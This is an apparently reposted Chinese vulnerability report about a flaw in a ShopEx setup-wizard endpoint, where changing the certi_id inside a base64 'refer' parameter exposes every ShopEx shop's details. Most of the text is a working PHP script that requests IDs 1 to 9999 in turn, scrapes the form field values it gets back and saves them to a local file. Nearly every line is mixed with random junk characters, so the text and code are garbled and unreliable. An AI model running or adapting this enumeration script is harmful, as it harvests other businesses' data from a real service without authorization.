|
|
简要描述: w' U1 x1 T$ h% \% s7 z
ShopEx某接口缺陷,可遍历所有网站
# W( _1 A7 q5 i/ S& h详细说明:
/ d. F) f, N$ o% R问题出现在shopex 网店使用向导页面
5 b) u9 T* {( x5 J; W7 ?2 N# Q7 a9 @
) n+ ^) L6 _2 ^# V/ e% L( S; K
% t7 n! P. X i" q& g
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
0 y: ]- m' V) s# e! F3 x6 q4 y
7 S" n k# \6 l+ o- a
; k) N; X& U( c( o
: V7 r" E0 g# Q! C, |refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
! U# S. x1 l8 O j5 ]
% q# }* m( k( X4 p; q, }5 k& g
9 D) ?9 f6 k2 p5 C& O, Y3 m
, C; U$ c# ^2 E4 J$ C) w我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
R; {* X: q2 l2 W# S8 }0 @
9 j8 N9 n' c# v% _
( L6 w# m5 d! L( _2 D, L0 ^& j" {$ O: k5 M* u0 n
<?php
" l$ J' f7 M1 b3 i+ I
' m9 u7 t" s0 `! E* X2 W! P) p9 K( a9 S for ($i=1; $i < 10000; $i++) { //遍历* n D" d6 H" _+ [; Q- f" N
" ~$ D) E9 v* x o) s ShowshopExD($i);
9 ^5 z3 _- s# J$ p! e3 e2 x6 A& h& r6 H, Z
}) r7 Y' C8 a# T3 U
0 G5 M+ R3 ~# G& ^
function ShowshopExD($cid) {% u. @( k( [+ d8 Y1 c1 w9 c! R
* U! x. w8 z u6 v* p
$url='http://guide.ecos.shopex.cn/step2.php';
+ L L+ m1 J1 C0 A1 y% B# z1 ^& @
$refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');6 E* m# T: p& c# F
6 B8 ^/ q$ T8 Y9 U
$url = $url.'?refer='.$refer;$ K# Z1 C- S) S
6 d5 w$ K' u$ V( W% }" S, j; q $ch = curl_init($url);% X- ^- O; O! G$ a! \( O
; A( t* H7 n" R; O& N curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;( ^; V/ F! l$ X/ z8 |
0 Q M2 y7 p0 D: k8 @0 z. L curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
' U( s6 t1 J6 ]9 O. b
7 o& R3 j2 D) t0 k$ T7 I) U( |, Y $result = curl_exec($ch);
% Y, `6 V7 F& N/ _) W2 i& ~3 a2 W( x7 v
$result = mb_convert_encoding($result, "gb2312", "UTF-8");
5 s% U6 U# g4 I- s+ T y
% y( k$ O2 }5 V# S1 s0 v1 h if(strpos($result,$refer))
; D8 h6 I/ r; f" p7 E3 L& n- t1 f
. {0 `# ^# ?" w, e {
* S D# A1 [1 c/ v, o' o1 j- M2 s- y9 _# Q2 r) P
$fp = fopen("c:/shopEx.txt",'ab'); //保存文件9 l6 j8 d2 j' D1 f( @# d
' f* i' F( z, ^' l B preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
U! a e* X7 ] X2 g1 {( B; Q- N
foreach ($value[1] as $key) {
) s! u4 e, _: Y: [! [; Y; Y4 K4 o( C/ G: O- {: T9 ?
preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
: B+ N% E- Z% q. N7 s$ l
4 N3 d! R8 C7 x7 h7 @& f0 C1 w echo $res[1][0].':'.$res[3][0]."\r\n";4 z/ t8 G" @) \% v. i1 U
8 G# w3 g4 o) `/ E+ x9 s
$col =$res[1][0].':'.$res[3][0]."\r\n"; 9 U% d: J% j' X/ N
. f5 Z9 n9 n2 O
fwrite($fp, $col, strlen($col)); 8 D# C" _$ A& a
2 J5 S4 @$ z1 N" \6 c/ i }
( T) T% n8 f! x$ M! Q g7 f8 P1 g- Q, L P& ~
echo '--------------------------------'."\r\n";; ?6 O; {5 g( y- X+ [) K
- a, n% x" a* w) C2 o, B fclose($fp);
) f2 G4 u# o2 H2 A* ~# q1 g
1 G0 U" G3 M$ A/ f- Z, _' v }
; h3 O5 y& [2 O( c \* B- [
/ j6 S0 j, h. e/ q3 f0 n flush();
# F6 H) G( S# W8 [+ T, G
9 l4 T- I* b# l) `7 r curl_close($ch);4 G6 h, R4 c% D% w4 f
5 k" a4 E7 }7 @. [4 h( {
}% ^; }7 K5 o9 _1 O
- Z3 c3 M. @' m, U% D& x5 [?>
/ B; M+ L$ I8 U漏洞证明:, A. R+ O# f: [/ W
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg& a, o, Q' m! ?2 H; ~! [
refer换成其他加密方式
$ S5 Y% |9 C* y: b0 B |
|